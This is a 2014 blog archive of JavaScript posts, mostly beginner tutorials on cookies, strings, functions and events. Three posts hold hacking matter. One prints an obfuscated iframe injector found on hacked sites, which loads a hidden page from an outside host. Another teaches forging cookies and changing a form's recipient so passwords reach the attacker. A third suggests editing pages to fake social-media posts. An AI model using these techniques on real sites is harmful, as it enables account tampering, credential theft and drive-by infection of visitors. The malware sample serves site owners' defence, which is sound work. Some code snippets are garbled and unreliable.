Showing posts with label JavaScript. Show all posts
Showing posts with label JavaScript. Show all posts

25/11/2014

Edit Any Webpage Directly From Your Web Browser


You surf a lot of websites on internet. Sometime you want your name to appear on the websites to show your friends or just for fun. So, if you wants to edit a website’s page you are just watching then, there is a simple Javascript code which lets you to directly edit the opened webpage at your browser.
Read Also:-Shutdown Any Computer Remotely Using Command Prompt (CMD)
Using this trick you can change the details according to your wish. this trick helps you to edit all the text part of that website so that you can put your content there. You can edit Google or even Facebook for that matter right in your browser and that too without requiring any technical know-how or getting deep into hacking and cracking. You can use it for anything like showing wrong traffic stats or for fooling people by showing that someone said something about them on Facebook or Twitter. It depends only on your creativity. But I would advise you to stay ethical and use it for entertainment purposes only.
Note: Many websites like Facebook, Twitter etc. runs on HTTPS So the trick might not be working there. However, you can browse the link from Proxy Servers and then this JavaScript Trick will work.
Mozilla Firefox does not support this. If you use Firefox, you can use the bookmarklets If you use Google Chrome and the code does not seem to work, precede it with javascript:>
To use this trick, all you need to do is just copy the code given below and paste it in your address bar after you have opened the website you wish to edit and start editing.
javascript:document.body.contentEditable%20=%20'true';%20document.designMode='on';%20void%200
You can capture a screenshot by pressing the Print Screen key or by using the Snipping Tool if you use Windows 7 or Windows Vista. If you wish to again make the website non-editable to give a more authentic look, copy and paste the code given below in the address bar after you are done editing.
javascript:document.body.contentEditable%20=%20'false';%20document.designMode='off';%20void%200
Or, alternatively you can use the following bookmarklets by dragging them to your Bookmarks bar.
1. Edit this Website
2. Done Editing The editing that you do will however be temporary as it is not server-sided. You can also save the modified website through your browser by File > Save.
This (Bookmarks) works on all common web browsers including Chrome, Firefox Opera and Internet Explorer.
Love this article?
Share it with your friends on Facebook

05/11/2014

How to Bypass Right Click Block on Any Website

Have you ever gone to a website where you try to right-click and it doesn't work? If you still want to right-click, your browser can display the context menu but the website just tells it not to. You might remember an experience where you tried to right-click on a web page but got a pop-up message saying that the “right-click functionality has been disabled”. Sometimes you may be trying to copy an image or view the source of a web page but when the right-click is disabled, these things would seem impossible. Bank websites and other sites that require a secure transaction such as a payment gateway are the ones to impose this kind of limited functionality on their pages. In this post, I will show you the ways by which you can easily bypass right-click block feature on any website. In order to block the right-click activity, most websites make use of JavaScript which is one of the popular scripting languages used to enhance functionality, improve user experience and provide rich interactive features. In addition to this, it can also be used to strengthen the website’s security by adding some of the simple security features such asdisabling right-click,protecting images,hiding or masking parts of a web pageand so on.

How JavaScript Works?
Before you proceed to the next part which tells you how to disable the JavaScript functionality and bypass any of the restrictions imposed by it, it would be worthwhile for you to take up a minute to understand how JavaScript works. JavaScript is a client side scripting language (in most cases), which means when loaded it runs from your own web browser. Most modern browsers including IE, Firefox, Chrome and others support JavaScript so that they can interpret the code and carry out actions that are defined in the script. In other words, it is your browser which is acting upon the instruction of JavaScript to carry out the defined actions such as blocking the right-click activity. So, disabling the JavaScript support on your browser can be a simple solution to bypass all the restrictions imposed by the website.

How to Disable the JavaScript?
Here is a step-by-step procedure to disable JavaScript on different browsers:

For Internet Explorer: If you are using IE, just follow the steps below:
1. From the menu bar, go to Tools > Internet Options.
2. In the “Internet Options” window, switch to Security tab and click on the button Custom level

3. From the Security Settings, look for the option Active scripting and select the Disable radio button as shown above and click on OK
4. You may even select the Prompt radio button, so that each time a page is loaded, you will have the option to either enable or disable the scripting.
For Google Chrome: If you are using Chrome, you can disable the JavaScript by following the steps below:
1. Click on the Chrome menu button (on the top right corner) and select Tools.
2. From the “Settings” page, click on Show advanced settings… 3.Now under Privacy, click on the button Content settings

4. Under the JavaScript, select the radio button which says “Do not allow any site to run JavaScript” and click on “Done”.
For Mozilla Firefox: Steps to disable JavaScript on Firefox:
1. From the menu bar, click onTools -> Options.
2. From the Options window, switch to Content tab, uncheck the option which says “Enable JavaScript” and click on “OK”.



How to Bypass the Right Click Block?
In order to bypass the right-click block or any other restriction imposed by JavaScript, all you need to do is just disable it in the browser and refresh the same page, so that it now reloads without JavaScript functionality. You are now free to right-click on the page, view its source or even copy any of the images that you may want to. Don’t forget to re-enable the JavaScript once again when your job is over. Otherwise lack of JavaScript support may result in unusual rendering of web pages.

25/10/2014

Examples of Malicious JavaScript

If the hackers are using script to hack your site it will be obfuscated to try and hide what the script is doing. This type of hack can be inserted in individual html/php pages on a site or into one of the javascript files. The bottom line is, if you see blocks of obfuscated script in one of your files be suspicious, check to make sure you know exactly what the script is doing. In the vast majority of hacks the obfuscated script is going to write either an iframe or a script call into the pages of the site. The [src="http://some.malicious.site/malicious.php"] will be a URL that loads the malicious content into the page.
Now a few examples of code I have seen on hacked sites.
<sc​riptg&t;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.from​CharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|do​cument|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|get​ElementById|function|createElement|iframe|append​Child|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{})) </sc​ript>
Which de-obfuscates to ->
function MakeFrameEx(){ element = do​cument.get​ ElementById('yahoo_api'); if (!element){ var el = do​cument.cr​ eateElement('if​rame'); do​cument.body.append​Child(el); el.id = 'yahoo_api'; el.style.width = '1px'; el.style.height = '1px'; el.style.display = 'none'; el.src = 'hxxp://​juyfdjhdjdgh​.nl ​.ai​/showthread.php?t=72241732' } } var ua = navigator.userAgent.toLowerCase(); if (((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1)) && ua.indexOf("windows") !=- 1){ var t = setTimeout("MakeFrameEx()", 1000) } <sc​ript>date=new Date();var ar="Jp}g3ra]A\"kmTdQh{,'=Dyi)cf>1(0o[F
Always follow up with some basic security checks. Figuring out how the rats are getting into the barn is always tough. Most hosting services will help by checking access logs, looking at file ownership etc. so ask your hosting service for any information they can provide.

21/10/2014

Javascript Injections

Disclaimer: This site is for learning purposes only! Anyone looking to commit a crime, must leave this page now! We do not encourage or approve illegal acts nor criminal activity of any sort. Using these skills outside of these sites could result in arrest and imprisonment!
Introduction: In this tutorial we are going to teach you all the basics you need to know, to start hacking with Javascript Injections. Hackers use Javascript Injections to find and change the values of elements in a website. We can use Javascript for 3 things: Alerts Cookies forms and values. And we have two types of injections we will use:
Alert and Void. We use the Javascript Alert Injection to find out what an element is. And we use the Javascript Void Injection to change that element. The Javascript Void Injection prevents your page from refreshing. This ensures your changes are valid on your current page. While this can be done on any browser, most do not support this straight out of the box. The best browser to use while doing this is Internet Explorer.


The Javascript Alert injection
It is used to show you the value of an element within the site via a pop up. A Javascript Alert is written like this javascript:alert(); So in order to show the cookies on the site; we could write javascript:alert(document.cookie); in address bar and press enter. This would show us a list of the cookies in use. Which we can use as valuable knowledge to make our attack via a injection.

Javascript Void Injection
It is used for changing the values of elements within the site. The void injection makes sure your web browser does not refresh. This ensures your changes validity on the current page your editing. We could use this to change the value of a cookie we found using our Alert Injection. For that we would write the following:
javascript:void(document.cookie=”hackedcookie=value”);
You would just replace hackedcookie with the cookie you want to change. And value to that which the cookie needs to be set to. For example you could use true This could make the cookie valid and grant you access to the site.

Javascript Form Injections:
You can use the methods learned above to edit forms as well. Through editing forms you can have valuable information like passwords emailed to you. But forms require the code to be written a little bit different. For example let’s say the form code was the following:
<form action=” http://www.test.com /submit.php” method=”post”> <input type=”hidden” name=”to” value=”info@ test.com”>
you would need to write:
javascript:void(document.forms[0].to.value=”myemail@ tester.com”);
in order to change the email of the form. When Javascript Injecting a form you need to let it know which form you want to change. Incase there are multiple forms on the page. The form is referenced by forms[x]‘, x being which form. The first form on the page is 0. Just like when counting arrays you start with 0 not 1. And you can change to.value to any part of the form you want
Share This Article on Facebook

02/10/2014

JavaScript Cookies I

What are Cookies?
Cookies are data, stored in small text files, on your computer. When a web server has sent a web page to a browser, the connection is shut down, and the server forgets everything about the user. Cookies were invented to solve the problem "how to remember information about the user":
When a user visits a web page, his name can be stored in a cookie.
Next time the user visits the page, the cookie "remembers" his name.
Cookies are saved in name-value pairs like:

username=JohnElwin

When a browser request a web page from a server, cookies belonging to the page is added to the request. This way the server gets the necessary data to "remember" information about users.
Create a Cookie with JavaScript
JavaScript can create, read, and delete cookies with the document.cookieproperty. With JavaScript, a cookie can be created like this:
document.cookie="username=John Elwin";
You can also add an expiry date in UTC time. By default, the cookie is deleted when the browser is closed:
document.cookie="username=John Elwin; expires=Thu, 18 Dec 2013 12:00:00 UTC";
With a path parameter, you can tell the browser what path the cookie belongs to. By default, the cookie belongs to the current page.
document.cookie="username=John Elwin; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
Read a Cookie with JavaScript
With JavaScript, cookies can be read like this:
var x = document.cookie;
document.cookie will return all cookies in one string much like:
cookie1=value;
cookie2=value;
cookie3=value;


Change a Cookie with JavaScript
With JavaScript, you can change a cookie the same way as you create it:
document.cookie="username=John Bach; expires=Thu, 18 Dec 2013 12:00:00 UTC; path=/";
Delete a Cookie with JavaScript
Deleting a cookie is very simple. Just set the expires parameter to a passed date:
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC";
Note that you don't have to specify a cookie value when you delete a cookie.
The Cookie String
The document.cookie property looks like a normal text string. But it is not. Even if you write a whole cookie string to document.cookie, when you read it out again, you can only see the name-value pair of it.
JavaScript Cookie
Example:
In the example to follow, we will create a cookie that stores the name of a visitor. The first time a visitor arrives to the web page, he will be asked to fill in his name. The name is then stored in a cookie. The next time the visitor arrives at the same page, he will get a welcome message.
For the example we will create 3 JavaScript functions:
1. A function to set a cookie value
2. A function to get a cookie value
3. A function to check a cookie value
A Function to Set a Cookie
First, we create a function that stores the name of the visitor in a cookie variable:

JavaScript Cookies II

function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() +
(exdays*24*60*60*1000));
var expires = "expires="+d.toUTCString();
document.cookie = cname + "=" + cvalue + "; " + expires;
}
Example explained:
The parameters of the function above are the name of the cookie (cname), the value of the cookie (cvalue), and the number of days until the cookie should expire (exdays).
The function sets a cookie by adding together the cookiename, the cookie value, and the expires string.
A Function to Get a Cookie
Then, we create a function that returns the value of a specified cookie:
function
getCookie(cname) {
var name = cname + "="; var ca =
document.cookie.split(';'); for(var i=0; i var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1);
if (c.indexOf(name) != -1) return
c.substring(name.length,c.length);
}
return "";
}
Function explained:
Take the cookie name as parameter (cname). Create a variable (name) with the text to search for (cname + "="). Split document.cookie on semicolons into an array called ca (ca = document.cookie.split(';')). Loop through the ca array (i=0;i(c.indexOf(name) == 0), return the value of the cookie
(c.substring(name.length,c.length)
var name = cname + "="; var ca =
document.cookie.split(';'); for(var i=0; i var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1);
if (c.indexOf(name) != -1) return
c.substring(name.length,c.length);
}
return "";
}

Function explained:
Take the cookie name as parameter (cname). Create a variable (name) with the text to search for (cname + "="). Split document.cookie on semicolons into an array called ca (ca = document.cookie.split(';')). Loop through the ca array (i=0;i
Practice makes a man perfect

JavaScript Errors: Throw and Try to Catch

The try statement lets you test a block of code for errors.
The catch statement lets you handle the error.
The throw statement lets you create custom errors.
The finally statement lets you execute code, after try and catch, regardless of the result.
Errors Will Happen!
When executing JavaScript code, different errors can occur. Errors can be coding errors made by the programmer, errors due to wrong input, and other unforeseeable things:
Example
<body>
<p id="demo"></p>
<script>
try {
adddlert("Welcome
guest!");
}
catch(err) {
document.getElementById("demo").innerHTML = err.message;
}
</script>
</body>
In the example above we have made a typo in the code in the try block
The catch block catches the error, and executes code to handle it:
JavaScript try and catch
The try statement allows you to define a block of code to be tested for errors while it is being executed.
The catch statement allows you to define a block of code to be executed, if an error occurs in the try block.
The JavaScript statements try and catch come in pairs:
try {
Block of code to try
}
catch(err) {
Block of code to handle errors
}
JavaScript Throws Errors
When an error occurs, JavaScript will normally stop and generate an error message. The technical term for this is:
JavaScript will throw an error. The throw Statement The throw statement allows you to create a custom error. The technical term for this is:
throw an exception.
The exception can be a JavaScript String, a Number, a Boolean or an Object:
throw"Too big"; // throw a text
throw500; // throw a number
If you use throw together with try and catch, you can control program flow and generate custom error messages.
Input Validation Example
This example examines input. If the value is wrong, an exception (err) is thrown. The exception (err) is caught by the catch statement and a custom error message is displayed:
<body>
<p>Please input a number between 5 and 10:</p>
<inputid="demo"type="text">
<buttontype=
"button"onclick=
"myFunction()">Test Input</button>
<pid="message"></p>
<script>
function myFunction() {
var message, x
message =
document.getElementById("message");
message.innerHTML = ""; x =
document.getElementById("demo").value;
try {
if(x == "") throw "is
Empty";
if(isNaN(x)) throw "not a number";
if(x > 10) throw "too high";
if(x < 5) throw "too low";
}
catch(err) {
message.innerHTML =
"Input " + err;
}
}
</script>
</body>
The finally Statement
The finally statement lets you execute code, after try and catch, regardless of the result:
try {
Block of code to try
}
catch(err) {
Block of code to handle errors
}
finally {
Block of code to be executed regardless of the try / catch result }

01/10/2014

JavaScript String Methods

String methods help you to work with strings.
Finding a String in a String
The indexOf() method returns the index of the position of the 1st occurrence of a specified text in a string:
Example:
<body>
<p id="p1">Please locate where 'locate' occurs!</p>
<button onclick="myFunction()">read it</button>
<p id="demo"></p>
<script>
function myFunction() { var str =
document.getElementById("p1").innerHTML;
var pos =
str.indexOf("locate");
document.getElementById("demo").innerHTML = pos;
}
</script>
</body>
The last IndexOf()method returns the index of the last occurrence of a specified text in a string:
Example
<body>
<p id="p1">Please locate where 'locate' occurs!</p>
<button onclick="myFunction()">read it</button>
<p id="demo"></p>
<script>
function myFunction() {
var str =
document.getElementById("p1").innerHTML;
var pos =
str.lastIndexOf("locate"); document.getElementById("demo").innerHTML = pos;
}
</script>
</body>
Both the indexOf(), and the lastIndexOf() methods return -1 if the text is not found. JavaScript counts positions from zero. 0 is the first position in a string, 1 is the second, 2 is the third......
Both methods accept a second parameter as the starting position for the search.
Searching for a String in a String
The search()method searches a string for a specified value and returns the position of the match:
Example:
<body>
<p id="p1">Please locate where 'locate' occurs!</p>
<button onclick="myFunction()">read it</button>
<p id="demo"></p>
<script>
function myFunction() {
var str =
document.getElementById("p1").innerHTML;
var pos =
str.search("locate");
document.getElementById("demo").innerHTML = pos;
}
</script>
</body>
Did You Notice?
The two methods, indexOf() and search(), are equal. They accept the same arguments (parameters) and they return the same value.
The two methods are equal, but the search() method can take much more powerful search values.

JavaScript Strings

A JavaScript string simply stores a series of characters like "John Elwin". A string can be any text inside quotes. You can use single or double quotes:
Example:
<body> <p id="demo"></p> <script> var carName1 = "Volvo XC60"; var carName2 = 'Volvo XC60'; document.getElementById("demo").innerHTML = carName1 + " " + carName2; </script> </body>
You can use quotes inside a string, as long as they don't match the quotes surrounding the string:
Example:
<body> <p id="demo"></p> <script> var answer1 = "It's alright"; var answer2 = "He is called 'John'"; var answer3 = 'He is called "John"'; document.getElementById("demo").innerHTML = answer1 + "<br>" + answer2 + "<br>" + answer3; </script> </body>
Or you can put quotes inside a string by using the \ escape character:
Example:
<body> <p id="demo"></p> <script> var answer1 = 'It\'s alright'; var answer2 = "He is called \"John\""; document.getElementById("demo").innerHTML = answer1 + " " + answer2; </script> </body>
String Length
The length of a string is found in the built in propertylength:
Example:
<body> <p id="demo"></p> <script> var txt= "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; document.getElementById("demo").innerHTML = txt.length; </script> </body>
Special Characters
In JavaScript, strings are written as characters inside single or double quotes. Because of this, JavaScript will misunderstand this string:
"We are the so-called "Vikings" from the north"
The string will be chopped to "We are the so-called"
To solve this problem, you can place a backslash (\) before the double quotes in "Vikings": "We are the so-called \"Vikings\" from the north." The backslash is an escape character. Escape characters turns special characters into string characters: The escape character (\) can be used to insert a postrophes, new lines, quotes, and other special characters into a string. The table below lists other special characters that can be added to a text string with the backslash sign:
Code Table
Inputs Output
\' single quote
\" double quote
\\ backslash
\n new line
\r carriage return
\t tab
\b backspace
\f form feed
String Properties
Property Table
Property Description
constructor Returns the function that created the String object's prototype
length Returns the length of a string
prototype Allows you to add properties and methods to an object

JavaScript Events

HTML events are things that happen to HTML elements. When JavaScript is used in HTML pages, JavaScript can react on these events.
HTML Events
An HTML event can be something the browser does, or something a user does. Here are some examples of HTML events:
*An HTML web page has finished loading
*An HTML input field was changed
*An HTML button was clicked often, when events happen, you may want to do something. JavaScript lets you execute code when events are detected. HTML allows event handler attributes,with JavaScript code, to be added to HTML elements.
With single quotes:

<some-HTML-elementsome-event='some JavaScript'>
With double quotes:
<some-HTML-elementsome-event="some JavaScript">
In the following example, an onclick attribute with code, is added to a button element:
Example:
<body>
<button onclick=
"getElementById('demo').innerHTML=Date()">The time is?</button>
<p id="demo"></p>
</body>
In the example above, the JavaScript code changes the content of the element with id="demo".
In the next example, the code changes the content of it's own element usingthis.innerHTML:
Example:
<body>
<button onclick=
"this.innerHTML=
Date()">The time
is?</button> </body>
JavaScript code is often several lines long. It is more common to see event attributes calling functions:
Example:
<body>
<button onclick=
"this.innerHTML=
Date()">The time
is?</button>
</body>
<body>
<button onclick=
"displayDate()">The time
is?</button>
<script>
function displayDate() {
document.getElementById("demo").innerHTML = Date();
}
</script>
<p id="demo"></p>
</body>
Common HTML Events
Here is a list of some common HTML events:
Event List
Event Description
onchange An HTML element has been changed
onclick The user clicks an HTML element
onmouseover The user moves the mouse over an HTML element
onmouseout The user moves the mouse away from an HTML element
onkeydown The user pushes a keyboard key
onload The browser has finished loading the page
What can JavaScript Do?
Event handlers can be used to handle, and verify, user input, user actions, and browser actions:
*Things that should be done every time a page loads
*Things that should be done when the page is closed
*Action that should be performed when a user clicks a button
*Content that should be verified when a user input data
Many different methods can be used to let JavaScript work with events:
*HTML event attributes can execute JavaScript code directly
*HTML event attributes can call JavaScript functions
*You can assign your own event handler functions to HTML elements
*You can prevent events from being sent or being handled

JavaScript Scope

In JavaScript, objects and functions, are also variables.
In JavaScript, scope is the set of variables, objects, and functions you have access to.
Local JavaScript Variables
Variables declared within a JavaScript function, become LOCAL to the function. Local variables have local scopeg. They can only be accessed within the function.
Example:
<script> myFunction(); document.getElementById("demo").innerHTML = "I can display " + typeof carName; function myFunction() { var carName = "Volvo"; } </script>
Since local variables are only recognized inside their functions, variables with the same name can be used in different functions. Local variables are created when a function starts, and deleted when the function is completed.
Global JavaScript Variables
A variable declared outside a function, becomes GLOBAL. A global variable has global scope. All scripts and functions on a web page can access it.
Example:
<script> var carName = "Volvo"; myFunction(); function myFunction() { document.getElementById("demo").innerHTML = "I can display " + carName; } </script>
Automatically Global
If you assign a value to a variable that has not been declared, it will automatically become a GLOBAL variable. This code example will declare car Name as a global variable, even if it is executed inside a function.
Example:
<script> myFunction(); document.getElementById("demo").innerHTML = "I can display " + carName; function myFunction() { carName = "Volvo"; } </script>
The Lifetime of JavaScript Variables
The lifetime of a JavaScript variable starts when it is declared.
Local variables are deleted when the function is completed.
Global variables are deleted when you close the page.
Function Arguments
Function arguments "parameters" work as local variables inside functions.
Global Variables in HTML
With JavaScript, the global scope is the complete JavaScript environment.
In HTML, the global scope is the window object: All global variables belong to the window object.
Example:
<script> myFunction(); document.getElementById("demo").innerHTML = "I can display " + window.carName; function myFunction() { carName = "Volvo"; } </script>
Did You Know?
Your global variables, or functions, can overwrite window variables or functions.
Anyone, inclusive the window object, can overwrite your global variables or functions.

JavaScript Functions

A JavaScript function is a block of code designed to perform a particular task.
A JavaScript function is executed when "something" invokes it.
Example:
<script>
function myFunction(a, b) {
return a * b;
}
document.getElementById("demo").innerHTML = myFunction(4, 3);
</script>
JavaScript Function Syntax
A JavaScript function is defined with the function keyword, followed by aname, followed by parentheses ().
Function names can contain letters, digits, underscores, and dollar signs same rules as variables.
The parentheses may include parameter names separated by commas:(parameter1, parameter2, ...)
The code to be executed, by the function, is placed inside curly brackets: {} function Name (parameter1, parameter2, parameter3) { code to be executed }
Function parameters are the names listed in the function definition.
Function arguments are the real values received by the function when it is invoked. Inside the function, the arguments are used as local variables. A Function is much the same as a Procedure or a Subroutine, in other programming languages. Function Invocation The code inside the function will execute when something invokes the function:
*When an event occurs when a user clicks a button
*When it is invoked called from JavaScript code
*Automatically self invoked
Function Return
When JavaScript reaches are turn statement, the function will stop executing. If the function was invoked from a statement, JavaScript will return to execute the code after the invoking statement.
Functions often compute are turn value. The return value is returned back to the caller:
Example:
Calculate the product of two numbers, and return the result:
<script>
function myFunction(a, b) {
return a * b;
}
document.getElementById("demo").innerHTML = myFunction(4, 3);
</script>
Why Functions?
You can reuse code:
Define the code once, and use it many times. You can use the same code many times with different arguments, to produce different results.
Example:
Convert Fahrenheit to Celsius:
<script>
function toCelcius(f)
{
return (5/9) * (f-32);
}
document.getElementById("demo").innerHTML = toCelcius(32);
</script>
JavaScript Functions are Objects
In JavaScript, functions are objects. JavaScript functions have properties and methods. You can add your own properties and methods to functions.
JavaScript Functions are Variables Too
In JavaScript, functions can be used as variables:
Example:
<script> document.getElementById("demo").innerHTML = "The temperature is " + toCelsius(32) + " Centigrade"; function toCelsius(fahrenheit) { 牋  return (5/9) * (fahrenheit-32); } </script>
JavaScript functions can be redefined like ordinary variables.
JavaScript functions can also be passed as values to other functions.

JavaScript Objects

Objects are just data, with added properties and methods.
Object Properties and Methods
Properties are values associated with objects.
A Real Life Example.
In real life, a car is an object. It has properties like weight and color, and methods like start and stop:
f
All cars have the same properties, but the property values differ from car to car.
All cars have the same methods, but they are performed at different times.
JavaScript Objects
In JavaScript, objects are data variables with properties and methods. Almost "everything" in JavaScript are treated as objects. Dates, Arrays, Strings, Functions. In JavaScript you can also create your own objects. This example creates an object called "person" and adds four properties to it:
Example:

<!DOCTYPE html> <html> <body> <p id="demo"></p> <script> var person = {firstName:"John", lastName:"Elwin", age:22, eyeColor:"blue"}; document.getElementById("demo").innerHTML = person.firstName + " is " + person.age + " years old."; </script> </body> </html>
Spaces and line breaks are not important.
An object declaration can span multiple lines:
Example:
<!DOCTYPE html> <html> <body> <p id="demo"></p> <script> var person = { firstName : "John", lastName : "Elwin", age : 22, eyeColor : "blue" }; document.getElementById("demo").innerHTML = person.firstName + " is " + person.age + " years old."; </script> </body> </html>
There are many different ways to create new JavaScript objects.
You can also add new properties and methods to already existing objects.
Accessing Object Properties
You can access the object properties in two ways:
Example:
<!DOCTYPE html> <html> <body> <p id="demo"></p> <script> var person = { firstName: "John", lastName : "Elwin", id : 45**** }; document.getElementById("demo").innerHTML = person.firstName + " " + person["lastName"]; </script> </body> </html>
Accessing Object Methods
You can call an object method with the following syntax: objectName.methodName()
This example uses the fullName() method of a person object, to get the full name:
Example:
<!DOCTYPE html> <html> <body> <p>Creating and using an object method:</p> <p id="demo"></p> <script> var person = { firstName: "John", lastName : "Elwin", id : 45****, fullName : function (){return this.firstName + " " + this.lastName} }; document.getElementById("demo").innerHTML = person.fullName(); </script> </body> </html>
Object methods are ordinary JavaScript functions defined as object properties.
Associative arrays in PHP. Hash tables, hash maps or hashes in C, C++, C#, Java, Perl, and Ruby. Dictionaries in Python.

JavaScript Variables

JavaScript Variables In a programming language and in algebra named variables are used to store data values. JavaScript uses the var keyword to define variables.
An equal sign is used to assign values to variables just like algebra.
In this example, length is defined as a variable. Then, it is given the value 6:
<!DOCTYPE html> <html> <body> <p id="demo"></p> <script> var length; length = 6; document.getElementById("demo").innerHTML = length; </script> </body> </html>
A literal is aconstant value. A variable is a name. A variable can be assigned variable values.
JavaScript Operators
JavaScript uses arithmetic operators to compute values just like algebra:
<!DOCTYPE html> <html> <body> <p id="demo"></p> <script> document.getElementById("demo").innerHTML = (5 + 6) * 10; </script> </body> </html>
JavaScript uses an assignment operator to assign values to variables like algebra:
<!DOCTYPE html> <html> <body> <p id="demo"></p> <script> var x, y, z; x = 5 y = 6; z = (x + y) * 10; document.getElementById("demo").innerHTML = z; </script> </body> </html>
JavaScript Statements In HTML
JavaScript statements are written as sequences of "executable commands" Statements are separated by semicolons:
x =5+6; y = x *10;
JavaScript Keywords
A JavaScript statement often starts with akeyword. The var keyword tells the browser to create a new variable:
varx =5+6; vary = x *10;
JavaScript Identifiers
All programming languages must identify variables with unique names. These unique names are called identifiers. Identifiers can contain letters, digits, underscores, and dollar signs, but cannot begin with a number. Reserved words like JavaScript keywords cannot be used as identifiers.
JavaScript Comments
Not all JavaScript statements are "executable commands". Anything after double slashes // is treated as comments, ignored, and not executed:
// x = 5 + 6;
Will not be executed In this tutorial, we use colors to highlight reserved words, values, and comments.
JavaScript Data Types
JavaScript variables can hold many data types: numbers, text strings, arrays, objects and much more:
varlength =16; // Number assigned by a number literal varpoints = x *10; // Number assigned by an expression literal varlastName ="Johnelwin"; // String assigned by a string literal varcars = ["Saab","Volvo","BMW"]; // Array assigned by an array literal varperson = {firstName:"John", lastName:"Elwin"}; // Object assigned by an object literal
The Concept of Data Types
In programming, data types is an important concept. To be able to operate on variables, it is important to know something about the type. Without data types, a computer can not safely solve this:
16+"Volvo"
Does it make any sense to add "Volvo" to sixteen?
Will it produce an error or a result?
"16Volvo"
You will learn much more about data types in a later chapter.

30/09/2014

JavaScript Syntax

JavaScript is ascripting language. A scripting language is a light weight programming language. The sentences in a programming language are called statements.

The principles, how sentences are constructed in a language, are called language syntax.

JavaScript Literals
In a programming language, aliteralis a constant value, like 3.14. Number literalscan be written with or without decimals, and with or without scientific notation (e)
<!DOCTYPE html> <html> <body> <p id="demo"></p> <script> document.getElementById("demo").innerHTML = 123e5; </script> </body> </html>
String literals can be written with double or single quotes
<!DOCTYPE html>
<html>
<body>
<p id="demo"></p>
<script>
document.getElementById("demo").innerHTML = 'John Elwin';
</script>
</body>
</html>
Expression literal sevaluates (computes) to a value:
<!DOCTYPE html>
<html>
<body>
<p id="demo"></p>
<script>
document.getElementById("demo").innerHTML = 5 * 10;
</script>
</body>
</html>
Array literals defines an array:
[40,100,1,5,25,10]
Object literals defines an object:
{firstName:"John",
lastName:"Elwin", age:22,
eyeColor:"blue"}
Function literalsdefines a function: functionmyFunction(a, b) {returna * b;}

JavaScript Writing to The HTML Document

Writing to The HTML Document
For testing purposes, you can use JavaScript to write directly to the HTML document
Example:
<!DOCTYPEhtml> <html> <body> <h1>My First Web Page</h1> <p>My first paragraph.</p> <script> document.write(Date()); </script> </body> </html>
Use document.write for testing only. If you execute it, on a loaded HTML document, all HTML elements will be overwritten.
Example:
<!DOCTYPEhtml> <html> <body> <h1>My First Web Page</h1> <p>My first paragraph.</p> <buttononclick="myFunction()">read it</button> <script> function myFunction() { document.write(Date()); } </script> </body> </html>
Writing to The Console
If your browser supports debugging, you can use the console.log() method to display JavaScript values in the browser.
Activate debugging in your browser with F12, and select "Console" in the debugger menu.
Example:
<!DOCTYPEhtml> <html> <body> <h1>My First Web Page</h1> <script> a = 5; b = 6; c = a + b; console.log(c); </script> </body> </html>
Did You Know?
Debugging is the process of testing, finding, and reducing bugs (errors) in computer programs. The first known computer bug was a real bug (an insect), stuck in the electronics.

JavaScript Functions and Events

Often, JavaScript code is written to be executed when an event occurs, like when the user clicks a button. JavaScript code inside afunction, can be invoked later, when an event occurs.
Invoke a function = Call upon a function (ask for the code in the function to be executed).
You will learn much more about functions and events in later chapters.
JavaScript in <head> or <body>
You can place any number of scripts in an HTML document. Scripts can be placed in the <body> or in the <head> section of HTML or in both.
Often you will see scripts at the bottom of the <body> section of a web page. This can reduce display time. Sometimes you will see all JavaScript functions in the <head> section. Anyway, separating HTML and JavaScript, by putting all the code in one place, is always a good habit.
JavaScript in <head>
In this example, a JavaScript function is placed in the <head> section of an HTML page. The function is invoked when a button is clicked:
Example:
<!DOCTYPE html> <html> <head> <script> function myFunction() { document.getElementById("demo").innerHTML = "Paragraph changed."; } </script> </head> <body> <h1>My Web Page</h1> <p id="demo">A Paragraph.</p> <button type="button" onclick= "myFunction()">read it</button> </body> </html>
JavaScript in <body>
In this example, a JavaScript function is placed in the <body> section of an HTML page. The function is invoked when a button is clicked:
Example:
<!DOCTYPE html> <html> <body> <h1>My First Web Page</h1> <p id="demo">> Paragraph.</p> <button type="button" onclick="myFunction()">read it</button> <script> function myFunction() { document.getElementById("demo").innerHTML = "Paragraph changed."; } </script> </body> </html>
External JavaScripts
Scripts can also be placed in external files. External scripts are practical when the same code is used in many different web pages. JavaScript files have the file extension .js. To use an external script, put the name of the script file in the source (src) attribute of the <script> tag:
Example:
<!DOCTYPE html> <html> <body> <h1>My Web Page</h1> <p id="demo">A Paragraph.</p> <button type="button" onclick="myFunction()">read it</button> <p><strong>Note:</strong> myFunction is stored in an external file called "myScript.js".</p> <script src="myScript.js"></script> </body> </html>

JavaScript Where To

In HTML, JavaScripts must be inserted between <script> and </script> tags. JavaScripts can be put in the <body> and in the <head> section of an HTML page.The <script> Tag
To insert a JavaScript into an HTML page, use the <script> tag. The <script> and </script> tells where the JavaScript starts and ends. The lines between <script> and </script> contain the JavaScript code
Example:
<script>function myFunction() {document.getElementByI d("demo").innerHTML ="My First JavaScript Function";} </script> /font>
You don't have to understand the code above. Just take it for a fact, that the browser will interpret the code between the <script> and </script> tags as JavaScript.